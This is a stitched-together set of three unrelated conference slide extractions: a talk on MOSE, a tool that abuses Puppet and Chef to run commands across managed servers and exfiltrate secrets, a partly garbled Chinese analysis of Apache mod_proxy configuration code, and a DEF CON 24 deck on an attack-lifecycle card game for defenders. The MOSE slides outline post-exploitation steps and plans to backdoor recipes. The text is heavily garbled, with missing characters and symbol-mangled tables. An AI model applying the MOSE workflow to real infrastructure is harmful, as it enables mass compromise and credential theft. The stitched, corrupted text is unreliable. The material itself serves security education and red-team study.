Ruby-based Proprietary DSL YAML YAML Architecture Master / Agent Master / Agent / Workstation Master / Minion Agentless Packaging Manifests & Modules Recipes & Cookbooks States & Formulas Roles & Playbooks Secrets Hiera-eyaml Chef Vault Encrypted Pillar Ansible Vault CMs Pro: no more bash scripts from hell 13 14 Demo 1 “But what about Kubernetes/containers?” ● Yep, great technology, super useful ● However, have limitations: ● Not everything can be cloud-based ● Difficult to migrate older monoliths to containers ● Need tools to manage Kubernetes deployments ● So CM tools aren’t going anywhere 15 CM for evil 16 CM tools are a powerful hacking resource ● They allow you to run any command on every connected system ● Built-in and basically free persistence ● Manage a variety of secrets, which can include creds, keys, etc. 17 CM secrets are not out of reach ● All of these tools can manage your secrets ● Done in variety of ways ● They are often easy to access if you’re on a CM server ● Need to decrypt somewhere, so comes down to getting on the right system and running the right decrypt command 18 MOSE (Master of SErvers) 19 “Why can’t I just work with CM tools?” ● You can, it’s just a time suck ● Each tool has a different workflow, syntax, and architecture, so there’s a learning curve ● Very powerful, so can be severe repercussions if misused 20 Hope you like reading 21 Another tool? 22 Some existing tools *are* available ● Pwnsible ○ Bash script that creates a msfvenom-generated payload and tells you how to run it with Ansible ● Pwnpet ○ Bash script that creates a msfvenom-generated payload, as well as all necessary components to run this payload (once put into place by the user) 23 However, they have limitations ● Bash scripts don’t scale very well ● Limited to msfvenom payloads ● Lots of manual work to be done ● We want secrets and we want them now 24 MOSE is here to help ● Automates creation and placement of everything you need to run the CM tools ● Allows the user to upload and run existing tools ● Specifies behaviors for targets based on their functionality ● Saves us from ourselves (don’t rm -rf / all the systems) 25 MOSE is good for both n00bs and experts ● User can ignore CM tool-specific implementation details ● Tool-agnostic interface allows beginners avoid CM tool learning curve ● Still high level of customizability to let users get deeper in the weeds 26 MOSE has Puppet and Chef functionality 27 Basic MOSE workflow 1. Specify the command to run and the type of CM tool ○ For example: ./mose -c ls -t puppet ○ More options available via settings.json config file 2. MOSE generates the payload as a binary 3. Transfer payload to remote server ○ By default served via web server ○ Or specify binary location and transfer manually 4. Run binary on target CM server 5. Profit 28 MOSE + Puppet 29 Puppet environment: Master and Agents Resource: https://banner2.kisspng.com/20180529/kqc/kisspng-brand-logo-organization-pup pet-master-5b0d94418dcc33.6894967215276165775808.jpg 30 Step 1: specify command + params 31 Step 2: dl payload onto target system 32 Step 3: run payload on server 33 Agent(s) check in, command is executed 34 MOSE + Chef 35 Chef has Server, Workstation, and Nodes Resource: https://gspann.cdn.prismic.io/gspann/77ba86c0653abb3017c60b4d1fa854ce8218a7 8e_chef-components.jpg 36 First we will look at Chef Workstation Resource: https://gspann.cdn.prismic.io/gspann/77ba86c0653abb3017c60b4d1fa854ce8218a7 8e_chef-components.jpg 37 Step 1: specify command + params 38 Step 2: dl payload onto target system 39 Step 3: run payload on server 40 Agent(s) check in, command is executed 41 “Wow, postex on a Chef Workstation machine is pretty straightforward!” 42 …That was easy Enter: Chef Server 43 Reminder of the Chef Setup Resource: https://gspann.cdn.prismic.io/gspann/77ba86c0653abb3017c60b4d1fa854ce8218a7 8e_chef-components.jpg 44 Server can’t directly provision systems Has resources needed to attack Chef agents but... How do we use this info to deploy our code? Where do we run Chef Workstation? How do we automate it so it’s not your problem? 45 Solution 46 Plan of Attack for Chef Server 47 Steps 1-4: postex on Chef Server 48 Step 1: specify command + params 49 Step 2: dl payload onto Chef Server 50 Step 3: run payload on server 51 Step 4: specify Chef Server as target 52 Step 5: exfil data 53 Step 5: exfil keys and needed info 54 Steps 6a-c: run MOSE from Chef Workstation 55 Step 6: drive it like you stole it 56 57 Demo 2 58 Demo 3 But how I test before I buy? Want to try some of this on your own? Don’t have an environment to do it in? Fear not! I’ve created test labs for you, based on Docker and Vagrant, which can be found here: https://github.com/master-of-servers/puppet-test-lab and here: https://github.com/master-of-servers/chef-test-lab 59 Test lab is useful for blue teams too These labs could also be used in conjunction with MOSE for fire drilling and building detection mechanisms 60 Future Plans ● Ansible, Salt, and Jenkins Support ● Interfacing with tools like Metasploit via containers to generate payloads and set up listeners ● Backdooring existing recipes/modules/playbooks/states ● Turn some of this functionality into Metasploit modules? ● Whatever great ideas you folks have 61 Thank You Amanda Minnich Aleksandar Straumann Michael Wyatt Ron Minnich Defcon Staff 62 DR.ROBOT Awesome Recon Tool Saturday from 12:00 - 13:50 in Sunset 5 at Planet Hollywood 63 Jayson Grace Twitter: @Jayson_Grace Blog: https://techvomit.net/ MOSE Repo: https://github.com/master-of-servers/MOSE Puppet Test Lab Repo: https://github.com/master-of-servers/puppet-test-lab Chef Test Lab Repo: https://github.com/master-of-servers/chef-test-lab 64
pdf
apache 0x00 apacheapache 0x01 apache per-servervirtualhost per-directorydirectorylocationfile apache 0x02 mod_proxy AP_DECLARE_MODULE(proxy) = { STANDARD20_MODULE_STUFF, create_proxy_dir_config, /* create per-directory config structure */ merge_proxy_dir_config, /* merge per-directory config structures */ create_proxy_config, /* create per-server config structure */ merge_proxy_config, /* merge per-server config structures */ proxy_cmds, /* command table */ register_hooks }; static void *create_proxy_dir_config(apr_pool_t *p, char *dummy) { proxy_dir_conf *new = (proxy_dir_conf *) apr_pcalloc(p, sizeof(proxy_dir_conf)); /* Filled in by proxysection, when applicable */ /* Put these in the dir config so they work inside <Location> */ new->raliases = apr_array_make(p, 10, sizeof(struct proxy_alias)); new->cookie_paths = apr_array_make(p, 10, sizeof(struct proxy_alias)); new->cookie_domains = apr_array_make(p, 10, sizeof(struct proxy_alias)); new->error_override_codes = apr_array_make(p, 10, sizeof(int)); new->preserve_host_set = 0; new->preserve_host = 0; new->interpolate_env = -1; /* unset */ new->error_override = 0; new->error_override_set = 0; new->add_forwarded_headers = 1; new->add_forwarded_headers_set = 0; new->forward_100_continue = 1; new->forward_100_continue_set = 0; return (void *) new; } <directory /a> a 1 b 2 </directory> <directory /a/b> a 3 </dirctory> /a/b /a/b /a a a=3b=2 mergeproxymerge tatic void *merge_proxy_dir_config(apr_pool_t *p, void *basev, void *addv) { proxy_dir_conf *new = (proxy_dir_conf *) apr_pcalloc(p, sizeof(proxy_dir_conf)); proxy_dir_conf *add = (proxy_dir_conf *) addv; proxy_dir_conf *base = (proxy_dir_conf *) basev; new->p = add->p; new->p_is_fnmatch = add->p_is_fnmatch; new->r = add->r; new->refs = add->refs; /* Put these in the dir config so they work inside <Location> */ new->raliases = apr_array_append(p, base->raliases, add->raliases); new->cookie_paths = apr_array_append(p, base->cookie_paths, add->cookie_paths); new->cookie_domains = apr_array_append(p, base->cookie_domains, add->cookie_domains); new->error_override_codes = apr_array_append(p, base->error_override_codes, add->error_override_codes); /* Keep the array sorted for binary search (since "base" and "add" are * already sorted, it's only needed only if both are merged). */ if (base->error_override_codes->nelts && add->error_override_codes->nelts) { qsort(new->error_override_codes->elts, new->error_override_codes->nelts, sizeof(int), int_order); } new->interpolate_env = (add->interpolate_env == -1) ? base->interpolate_env : add->interpolate_env; new->preserve_host = (add->preserve_host_set == 0) ? base->preserve_host : add->preserve_host; new->preserve_host_set = add->preserve_host_set || base->preserve_host_set; new->error_override = (add->error_override_set == 0) ? base->error_override : add->error_override; new->error_override_set = add->error_override_set || base->error_override_set; new->alias = (add->alias_set == 0) ? base->alias : add->alias; new->alias_set = add->alias_set || base->alias_set; new->add_forwarded_headers = (add->add_forwarded_headers_set == 0) ? base->add_forwarded_headers : add->add_forwarded_headers; new->add_forwarded_headers_set = add->add_forwarded_headers_set || base->add_forwarded_headers_set; new->forward_100_continue = (add->forward_100_continue_set == 0) ? base->forward_100_continue : add->forward_100_continue; new->forward_100_continue_set = add->forward_100_continue_set || base->forward_100_continue_set; return new; } 0x03 proxy AP_DECLARE_MODULE(proxy) = { STANDARD20_MODULE_STUFF, create_proxy_dir_config, /* create per-directory config structure */ merge_proxy_dir_config, /* merge per-directory config structures */ create_proxy_config, /* create per-server config structure */ merge_proxy_config, /* merge per-server config structures */ proxy_cmds, /* command table */ register_hooks }; proxy_cmds proxyProxyPassProxyPassReverseAP_INIT_RAW_ARGS ProxyPass add_pass 0x04 Proxyrequests proxyrequests apache <VirtualHost *:8089> ServerName 192.168.1.3 // ServerAlias example ProxyRequests off <Proxy *> Order allow,deny Allow from all </Proxy> ProxyPass / http://192.168.1.3:8089/ ProxyPassReverse / http://192.168.1.3:8089/ </VirtualHost> ProxyRequests offProxyRequests onOn apacheGET GET http://www.baidu.com/aaa HTTP/1.1 OK proxy_cmds reqflagon1off0req_set1. merge conf->req proxy_detect post_read_requesthook proxyrequests on GET http://www.baidu.com HTTP/2.0 Host: 127.0.0.1:9999 conf->req1urlhttp://www.baidu.comschemehttp r->filenameproxy:http://www.baidu.comproxyr->filename proxy:xxxx CONNECT www.baidu.com:443/aaaa HTTP/1.1 filename 0x05
pdf
Maelstrom: Are you playing with a full deck?︎ Using an Attack Lifecycle Game to Educate, Demonstrate and Evangelize︎ ! #cybermaelstrom︎ Shane Steiger, Esq. CISSP︎ Shane Steiger © 2016︎ DEF CON 24︎ $ whoami︎ ~ messing with computers since 1989 - TIN, PINE, yTalk, Lynx, MUDs, etc. ︎ ~ 8 years in a large food manufacturer helping to build and secure SCADA/ICS systems across 90+ food manufacturing plants in the US. ︎ ~ 6 years building out a security function in one of the largest pharmaceutical drug distributors in the US. ︎ ~ currently Chief Endpoint Security Architect in a large tech company building out the roadmaps for desirable Cyber Resiliency techniques in the endpoint space. ︎ ~ much better than family law! I am more of a geek. ︎ $ disclaimer︎ ~ the views and opinions are purely my own based on time in the industry and experience. They don’t necessarily reflect the views, positions or policies of my employer. ︎ ~ oh yeah....this presentation and discussion is not intended to give legal advice nor form any kind of attorney/client relationship. I am not your attorney and some of the things you might find interesting may require consultation with your own attorney (not me J). ︎ ! $ agenda︎ ~ unexpected journey to a cyber attack lifecycle game︎ ~ research that took me on that journey︎ ~ maelstrom the game︎ $ strategy journey︎ ~ from a past life, I was asked by a CIO ‘do they win?’ ︎ ~ later, asked to look at a solution for over 300k endpoints ︎ ~ like most folks – look at requirements, functionality, capabilities and operationalization ︎ ~ hmmmm....wow I got a pretty heat map that doesn’t seem very useful in terms of selecting things at large scale ︎ ~ ‘do they win’ stuck with me; find a way to develop better strategic choices︎ $ Lockheed Martin Cyber Kill Chain ®︎ Reconnaissance! • Research,!ID/ selec2on!of!targets! • Email!addresses! • Social! rela2onships! • Target!technology! &!topology! Weaponiza2on! • Combining!an! exploit!with!a! payload!to! establish/maintain! access!by!aDacker!! Delivery! • Transmission!of! weapon!to!target! environment! Exploita2on! • Exploit!is!triggered! on!target! Installa2on! • Payload!is!executed! Command!and! Control! • Communica2on!and! control!is! established! between!aDacker! and!target! Act!on!Objec2ves! hDp://www.lockheedmar2n.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf! Recon/Pivot Destruction Exfiltration $ Lockheed Martin Cyber Kill Chain ®︎ Reconnaissance! • Research,!ID/ selec2on!of!targets! • Email!addresses! • Social! rela2onships! • Target!technology! &!topology! Weaponiza2on! • Combining!an! exploit!with!a! payload!to! establish/maintain! access!by!aDacker!! Delivery! • Transmission!of! weapon!to!target! environment! Exploita2on! • Exploit!is!triggered! on!target! Installa2on! • Payload!is!executed! Command!and! Control! • Communica2on!and! control!is! established! between!aDacker! and!target! Act!on!Objec2ves! hDp://www.lockheedmar2n.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf! Recon/Pivot Destruction Exfiltration Specific!public- use!email! aliases!for!key! personnel,!2ed! to!increased! inspec2on/intel! Program!to!ensure! an2-malware! solu2ons!are!able! to!detect! commodity!exploit! framework! dropper! ! Robust!email! content! inspec2on!and! aDachment!an2- malware,! leveraging! ac2onable!intel! ! Robust!host-an2! malware/HIPS! Containeriza2on,! limited!use!of! Java,!Adobe! Reader!&!Flash! ! Robust!host!an2- malware/HIPS! Robust!proxy/ cloud!hDp!an2- malware!&! content!inspect! with!SSL!decrypt! Robust!proxy/cloud! hDp!an2-malware! &!content! inspec2on! IR!process!leverage! HIPS!&!network! access!control!from! neUlow! Robust!proxy/cloud!! content!inspect!with! SSL!decrypt!!and! ac2onable!intel! Robust!host!or! network!DLP!with! policy!appropriate!for! development!system! $ Lockheed Martin Cyber Kill Chain®*misnomer︎ Act!on!Objec2ves! hDp://www.lockheedmar2n.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf! Reconnaissance! • Research,!ID/ selec2on!of!targets! • Email!addresses! • Social!rela2onships! • Target!technology! &!topology! Weaponiza2on! • Combining!an! exploit!with!a! payload!to! establish/maintain! access!by!aDacker!! Delivery! • Transmission!of! weapon!to!target! environment! Exploita2on! • Exploit!is!triggered! on!target! Installa2on! • Payload!is!executed! Command!and! Control! • Communica2on!and! control!is! established! between!aDacker! and!target! *defender'is'the'actor'in'a'kill'chain!'' Recon/Pivot+ Destruction+ Humiliate+ PlantInfo+ DoS+ Ransomware+ Exfiltration+ Recon& Weaponiza,on& Delivery& Exploit& Install& C&C& Act&on&Objec,ve& A=ack&Execu,on&Over&Time& What does this look like?︎ $ charting attacker’s progression! ~ looks like a Gantt Chart! A project plan!︎ - Attackers are organized indicating plan progression for campaigns ︎ ~ what other evidence have we seen to indicate the attackers seem to follow a plan if not a traditional project plan? ︎ - Different skill levels from the same attackers indicating different ’resources or teams’ ︎ - Different teams using different tool sets ︎ - Different time schedules indicating 'shift work’ ︎ - Follow scripts and make mistakes redoing work or retrying task ︎ $ charting attacker’s plan! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ~ what can defenders do? attack the project plan!!!︎ IT organizations are experts at messing up project plans! They do it like it is there job! They even have a methodology!!!︎ ! https://en.wikipedia.org/wiki/Project_management_triangle︎ $ tortuosa concept – attacking attacker’s plan! Mapping these plans can reveal weakness in the attackers’ plan.︎ $ tortuosa concept – attacking attacker’s plan! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! what techniques can disrupt the attacker’s project plan?︎ ~  Time: Strategies to attack – ‘assumed linear time’︎ -  Replays – only accept replayed web sessions with an additional token︎ -  Snapshots – use virtualized environments; revert unpredictably︎ -  Predecessors and Successors – feigning completion︎ ~  Resources and Tools: Attack the ‘tools or shift work’︎ -  Create resource unavailability – APT Team F uses Cloudflare; during Team F stage block Cloudflare thereby forcing Team F to page out find another team or resource︎ -  Create resource contention – flood your own machines; sacrificial lambs︎ -  Different teams using different tool sets – remove PSEXEC, WMI, PowerShell; your management tools that are used against you︎ ~  Scope: Create scope creep utilizing deception with fake targets or tarpits︎ ~  Cost: Increase costs by setting the attacker back in progression increases cost to them thereby decreasing cost to defender to remediate︎ ~  Quality: Create noise and anomalies – attackers, automation and scripts are disrupted︎ ! Recon& Weaponiza,on& Delivery& Exploit& Install& C&C& Act&on&Objec,ve& A=ack&Execu,on&Over&Time& $ tortuosa concept – attacking attacker’s plan! Persistence Disruption︎ Recon& Weaponiza,on& Delivery& Exploit& Install& C&C& Act&on&Objec,ve& A=ack&Execu,on&Over&Time& $ tortuosa concept – attacking attacker’s plan! Tool Unavailability︎ Recon& Weaponiza,on& Delivery& Exploit& Install& C&C& Act&on&Objec,ve& A=ack&Execu,on&Over&Time& $ tortuosa concept – attacking attacker’s plan! Orchestrated False Targets︎ ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ***hDps://www.mitre.org/publica2ons/technical-papers/cyber-resiliency-engineering-framework! $ tortuosa concept – attacking attacker’s plan! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! Mapped: Axiom, Cleaver, Dark Hotel, FIN4, 02Hero, SAPU4ALL, StuckOnUrDC, OpenYourDir︎ $ tortuosa concept – attacking attacker’s plan! Recon! Exploratory! Phishing!ADacks! Port!Scans! Google/Shodan! Search! Weaponize! Custom!Toolset/ 0-day!exploit! Criminal! Commodity! Framework! Metasploit! Module/PoC! toolset! Delivery! RCE!on!internet! facing!host! Malicious!email! aDachment! Malicious!URL! Exploit! Buffer!Overflow! Privilege! Escala2on! Malicious! leverage!of! user’s!rights! Install! Executed! dropper!pulls! rootkit!code! Installa2on!of! new!backdoor! via!inline-code! Ini2al!exploit! modifies!exis2ng! service/code! C&C! SSL!connec2on! over!arbitrary! port! HTTP/HTTPS! posts!back!to! aDacker!C&C! host! Data!xfer!via!DNS! query! A/O! (Pivot!&!Recon)! controlled!host! used!to!scan!for! open!fileshares! (Destruc2on)! drive!of! controlled!host!is! wiped! (Exfiltra2on)! documents! found!on! controlled!host! are!sent!back!to! aDacker! $ let’s build a catalog of attack patterns ! Recon! Exploratory! Phishing!ADacks! Port!Scans! Google/Shodan! Search! Weaponize! Custom!Toolset/ 0-day!exploit! Criminal! Commodity! Framework! Metasploit! Module/PoC! toolset! Delivery! RCE!on!internet! facing!host! Malicious!email! aDachment! Malicious!URL! Exploit! Buffer!Overflow! Privilege! Escala2on! Malicious! leverage!of! user’s!rights! Install! Executed! dropper!pulls! rootkit!code! Installa2on!of! new!backdoor! via!inline-code! Ini2al!exploit! modifies!exis2ng! service/code! C&C! SSL!connec2on! over!arbitrary! port! HTTP/HTTPS! posts!back!to! aDacker!C&C! host! Data!xfer!via!DNS! query! A/O! (Pivot!&!Recon)! controlled!host! used!to!scan!for! open!fileshares! (Destruc2on)! drive!of! controlled!host!is! wiped! (Exfiltra2on)! documents! found!on! controlled!host! are!sent!back!to! aDacker! $ let’s build a catalog of attack patterns ! ~  MITRE’s CAPEC (Common Attack Patterns and Enumeration Catalogue)︎ ︎ ︎ -  500+ techniques︎ -  Slightly unmanageable for my needs︎ ~  MITRE’s ATT&CK Framework (Adversarial Tactics, Techniques & Common Knowledge)︎ -  68 techniques!︎ -  More manageable︎ -  Attack lifecycle map︎ -  Win!︎ ︎ ︎ $ research based attack catalog techniques ! Build catalog of attack patterns – MITRE ATT&CK Framework – 8/2015***︎ Persistence& Privilege&Escala,on& Creden,al&Access& Host&Enumera,on& Defense&Evasion& Lateral&Movement& Command&and&Control& Exfiltra,on& New&service& Exploita,on&of&vulnerability& OS/SoNware& Weakness& Process&enumera,on& SoNware& packing& RDP& Common&protocol,&follows&standard& Normal&C&C&channel& Modify&exis,ng&service& Service&file&permissions& weakness& User&interac,on& Service&enumera,on& Masquerading& Windows&admin&shares&(C$,&ADMIN$)& Common&protocol,&non-standard& Alternate&data&channel& DLL&Proxying& Service&registry&permissions& weakness& Network&sniffing& Local&network&config& DLL&Injec,on& Windows&shared&webroot& Commonly&used&protocol&on&non- standard&port& Exfiltra,on&over&other&network& medium& Hypervisor&Rookit& DLL&path&hijacking& Stored&file& Local&network& connec,ons& DLL&loading& Remote&vulnerability& Communica,ons&encrypted& Exfiltra,on&over&physical& medium& Winlogon&Helper&DLL& Path&intercep,on& & Window&enumera,on& Standard& protocols& Logon&scripts& Communica,ons&are&obfuscated& Encrypted&separately& Path&Intercep,on& Modifica,on&of&shortcuts& & Account&enumera,on& Obfuscated& payload& Applica,on&deployment&soNware& Distributed&communica,ons& Compressed&separately& Registry&run&keys&/& Startup&folder&addi,on& Edi,ng&of&default&handlers& & Group&enumera,on& Indicator& removal& Taint&shared&content& Mul,ple&protocols&combined& Data&staged& Modifica,on&of&shortcuts& AT&/&Schtasks&/&Cron& & Owner/user& enumera,on& Indicator& blocking& Access&to&remote&services&with&valid& creden,als& & Automated&or&scripted&data& exfiltra,on& MBR&/&BIOS&rootkit& & & Opera,ng&system& enumera,on& & Pass&the&hash& & Size&limits& Edi,ng&of&default& handlers& & & Security&soNware& enumera,on& & & & Scheduled&transfer& AT&/&Schtasks&/&Cron& & & File&system&enumera,on& & & & & $ building the attacker deck! ***https://attack.mitre.org/wiki/Main_Page - 8-2015︎ Build catalog of attack patterns – MITRE ATT&CK Framework – 8/2015***︎ Persistence& Privilege&Escala,on& Creden,al&Access& Host&Enumera,on& Defense&Evasion& Lateral&Movement& Command&and&Control& Exfiltra,on& New&service& Exploita,on&of&vulnerability& OS/SoNware& Weakness& Process&enumera,on& SoNware& packing& RDP& Common&protocol,&follows&standard& Normal&C&C&channel& Modify&exis,ng&service& Service&file&permissions& weakness& User&interac,on& Service&enumera,on& Masquerading& Windows&admin&shares&(C$,&ADMIN$)& Common&protocol,&non-standard& Alternate&data&channel& DLL&Proxying& Service&registry&permissions& weakness& Network&sniffing& Local&network&config& DLL&Injec,on& Windows&shared&webroot& Commonly&used&protocol&on&non- standard&port& Exfiltra,on&over&other&network& medium& Hypervisor&Rookit& DLL&path&hijacking& Stored&file& Local&network& connec,ons& DLL&loading& Remote&vulnerability& Communica,ons&encrypted& Exfiltra,on&over&physical& medium& Winlogon&Helper&DLL& Path&intercep,on& & Window&enumera,on& Standard& protocols& Logon&scripts& Communica,ons&are&obfuscated& Encrypted&separately& Path&Intercep,on& Modifica,on&of&shortcuts& & Account&enumera,on& Obfuscated& payload& Applica,on&deployment&soNware& Distributed&communica,ons& Compressed&separately& Registry&run&keys&/& Startup&folder&addi,on& Edi,ng&of&default&handlers& & Group&enumera,on& Indicator& removal& Taint&shared&content& Mul,ple&protocols&combined& Data&staged& Modifica,on&of&shortcuts& AT&/&Schtasks&/&Cron& & Owner/user& enumera,on& Indicator& blocking& Access&to&remote&services&with&valid& creden,als& & Automated&or&scripted&data& exfiltra,on& MBR&/&BIOS&rootkit& & & Opera,ng&system& enumera,on& & Pass&the&hash& & Size&limits& Edi,ng&of&default& handlers& & & Security&soNware& enumera,on& & & & Scheduled&transfer& AT&/&Schtasks&/&Cron& & & File&system&enumera,on& & & & & $ building the attacker deck! ***https://attack.mitre.org/wiki/Main_Page - 8-2015︎ Build catalog of attack patterns – Updated 7/28/2016 ***︎ $ building the attacker deck! ***https://attack.mitre.org/wiki/Main_Page - 1-2015, 10-2015, 7/28/2016︎ Build catalog of attack patterns – MITRE ATT&CK Framework – 8/2015***︎ $ building the attacker deck! ***https://attack.mitre.org/wiki/Main_Page - 8-2015︎ Defensive Strategies to Each ATT&CK Technique – Complimentary Cards︎ Persistence& Privilege& Escala,on& Creden,al& Access& Host& Enumera,on& Defense& Evasion& Lateral&Movement& Command&and& Control& Exfiltra,on& New&service& Exploita,on&of& vulnerability& OS/ SoNware& Weakness& Process& enumera,on& SoNware& packing& RDP& Common&protocol,& follows&standard& Normal&C&C& channel& Modify& exis,ng& service& Service&file& permissions& weakness& User& interac,o n& Service& enumera,on& Masquer ading& Windows&admin& shares&(C$,&ADMIN$)& Common&protocol,& non-standard& Alternate&data& channel& DLL&Proxying& Service&registry& permissions& weakness& Network& sniffing& Local&network& config& DLL& Injec,on& Windows&shared& webroot& Commonly&used& protocol&on&non- standard&port& Exfiltra,on&over& other&network& medium& Hypervisor& Rookit& DLL&path& hijacking& Stored&file& Local&network& connec,ons& DLL& loading& Remote&vulnerability& Communica,ons& encrypted& Exfiltra,on&over& physical&medium& Winlogon& Helper&DLL& Path& intercep,on& & Window& enumera,on& Standard& protocol s& Logon&scripts& Communica,ons&are& obfuscated& Encrypted& separately& Path& Intercep,on& Modifica,on&of& shortcuts& & Account& enumera,on& Obfuscat ed& payload& Applica,on& deployment& soNware& Distributed& communica,ons& Compressed& separately& Registry&run& keys&/&Startup& folder& addi,on& Edi,ng&of&default& handlers& & Group& enumera,on& Indicator& removal&Taint&shared&content& Mul,ple&protocols& combined& Data&staged& Modifica,on& of&shortcuts& AT&/&Schtasks&/& Cron& & Owner/user& enumera,on& Indicator& blocking& Access&to&remote& services&with&valid& creden,als& & Automated&or& scripted&data& exfiltra,on& MBR&/&BIOS& rootkit& & & Opera,ng& system& enumera,on& & Pass&the&hash& & Size&limits& Edi,ng&of& default& handlers& & & Security& soNware& enumera,on& & & & Scheduled& transfer& AT&/& Schtasks&/& Cron& & & File&system& enumera,on& & & & & ***https://attack.mitre.org/wiki/Main_Page - 8-2015︎ $ building the defender deck! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! While mapping noticed something….︎ ~  Some defensive techniques appear most often – Invest!!!!︎ -  Progression disruption – Time︎ -  Build anomalies and fake targets with trips – Scope Creep︎ -  Deception of phase exit – Predecessor/Successor︎ ~  Some strategies seem to have little payoff but high investment ︎ -  Don’t bang head here!!!!︎ ~  This made sense! Spending time buried in Cyber Resiliency Engineering Framework – This validated the findings.︎ -  https://www.mitre.org/publications/technical-papers/cyber-resiliency- engineering-framework︎ -  http://www2.mitre.org/public/industry-perspective/︎ $ tortuosa concept – attacking attacker’s plan! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! Noticed something more…︎ Got an Attacker Deck︎ Got a Defender Deck︎ Got a Progressive Board︎ …maybe a game?︎ $ tortuosa concept – attacking attacker’s plan! Game Mock Up – Attacker Red Deck – Defender Blue Deck︎ $ maelstrom – are you playing with a full deck?! Game Board – Give and take between attacker and defender︎ $ maelstrom – are you playing with a full deck?! Card Anatomy – Progression, Cost, Upkeep, Usage – Build a Story︎ $ maelstrom – are you playing with a full deck?! 60+ unique attacker cards ︎ $ maelstrom – are you playing with a full deck?! 70+ unique defender cards ︎ $ maelstrom – are you playing with a full deck?! $ maelstrom – actor game pieces︎ 12 unique threat actor chips – face down ︎ $ maelstrom – act on objective cards︎ 11 unique act on objectives – face down in middle ︎ $ maelstrom – methods of play︎ game board mockup – general rules︎ ~  3 Versions – Easy, Tactical, Strategic︎ ~  Dealt cards (easy), actively pick cards (tactical) or buy cards (strategic)︎ ~  Choose number of attacker players︎ ~  Attackers choose their Threat Actor︎ ~  Attackers choose their Act on Objectives︎ ~  Attackers seek to get to Act on Objectives through progression to win︎ ~  Defenders prevent progression from Act on Objectives︎ ~  Defender wins if sets the attacker pieces back to Delivery 3 times or Recon 2 times︎ Rules!located!here…! github.com/maelstromthegame/defcon24︎ $ maelstrom – is it playable?︎ game board mockup – game play – yeah its playable!!!︎ sample video of game play - https://vimeo.com/177304576︎ Use Cases︎ ~ Education︎ -  Learn an attack lifecycle concept and make it part of a vocabulary︎ -  Build a security mindset in defenders who don’t do offense︎ ~ Demonstration︎ -  Mini table top exercises︎ -  Defender practice - Investigator pattern recognition︎ -  Analysis and strategies for choosing technologies to win︎ -  Cost/Benefit analysis︎ ~ Evangelism︎ -  Gamification as marketing︎ -  Helps to get the message to non security folks︎ $ maelstrom – are you playing with a full deck?! $ build catalog of attack patterns – get more…︎ ~ Rationalization︎ -  Progression steps in a 1-6 effectiveness – Picked 6 because of a dice︎ -  Cost rationalization based on a 1000 seat company︎ ~ Prior Art︎ -  Hacker, Hacker II, Ctrl-Alt-Hack, Elevation of Privilege, Exploits, STIXITS, Game of PWNs, Breaches, Cyber Attribution Dice︎ No one has an Offensive and Defensive game play with a progressive board based on research︎ Next Steps︎ ~ Pursue︎ -  Submit work for upcoming CON talks, get input︎ ~ Map to current attack patterns and developing patterns and play games︎ -  Played multiple rounds with investigators, red team members, engineers and others︎ -  Produce lessons from games︎ ~ Digitizing and creating open source framework*** (wanna help?)︎ ~ Expansion packs︎ ~ Non-technical game development for kids (Spyder) ︎ ~ Let others play and update their decks, watch their decks and collect strategies ;)︎ ~ LASTLY, digitize and let the ‘machine rise and play itself’…︎ $ maelstrom – are you playing with a full deck?! Contribute, follow, volunteer, get the latest developments!︎ ~ twitter.com/cybermaelstrom︎ ~ github.com/maelstromthegame/defcon24︎ ~ to print your copy of the game – coming very soon︎ -  cards, poker chips – watch twitter for vendor information (working on getting a sku with the vendor to print)︎ -  game board – download the file from github above and print at FedEx or through vendor︎ ~ adding cards – use twitter above for peer review ;) and possible addition︎ ~ watch twitter and github for digitized version (contact twitter to volunteer to help) ︎ $ where to get maelstrom stuff! ~ MITRE - ATT&CK Framework︎ -  https://attack.mitre.org︎ ~ MITRE - Cyber Resiliency Engineering Framework︎ -  https://www.mitre.org/capabilities/cybersecurity/resiliency︎ -  http://www2.mitre.org/public/industry-perspective/︎ ~ Lockheed Martin – Cyber Kill Chain ®︎ -  http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White- Paper-Intel-Driven-Defense.pdf︎ ︎ ︎ ~  Gerard Laygui ︎ ~  Garrett Adler︎ ~  Collin Frietzsche ︎ ~  Brent Thibodo︎ ~  Jerry Decime︎ ~  Cale Smith︎ ~  Tom Van Setten︎ ~  George Mckee︎ ~  Logan Browne︎ ~  Darlene Leong︎ ~  JR︎ $ credits! $ questions?! $ backup slides if anyone goes there︎ ~ …so agile you say ︎ $ tortuosa concept – attacking attacker’s plan! ~ Agile SCRUM Methodology︎ Stories:︎ -  Replays︎ -  Snapshots︎ -  Predecessors and Successors – feigning completion︎ Sprints : ︎ -  Create resource unavailability – Maybe APT Team F uses AWS (during Team F stage block AWS)︎ -  Create resource contention – Flood targets?︎ -  Different teams using different tool sets︎ -  Build Project Backlog︎ -  Change Priorities︎ -  Cost: Increase Time and Backlog︎ https://en.wikipedia.org/wiki/Scrum_(software_development)︎ $ tortuosa concept – attacking attacker’s plan! $ sources︎ ! •  [1]!!hDps://www.dhs.gov/what-security-and-resilience! •  [2]!hDps://www.whitehouse.gov/the-press-office/2013/02/12/presiden2al-policy- direc2ve-cri2cal-infrastructure-security-and-resil! •  [3]!hDp://www.whitehouse.gov/the-press-office/2013/02/12/execu2ve-order- improving-cri2cal-infrastructure-cybersecurity! •  [4]!hDps://en.wikipedia.org/wiki/Cyber_Resilience! •  [5]!hDps://www.mitre.org/publica2ons/technical-papers/cyber-resiliency- engineering-framework! •  [6]!hDps://www.mitre.org/sites/default/files/pdf/11_4436.pdf! •  [7]!hDps://www.mitre.org/publica2ons/technical-papers/cyber-resiliency- engineering-aid-the-updated-cyber-resiliency! •  [8]!hDps://www.mitre.org/sites/default/files/publica2ons/pr-15-1334-cyber- resiliency-engineering-aid-framework-update.pdf! •  [9]!hDps://www.enisa.europa.eu/ac2vi2es/Resilience-and-CIIP/na2onal-cyber- security-strategies-ncsss/ScotlandNCSS.pdf! •  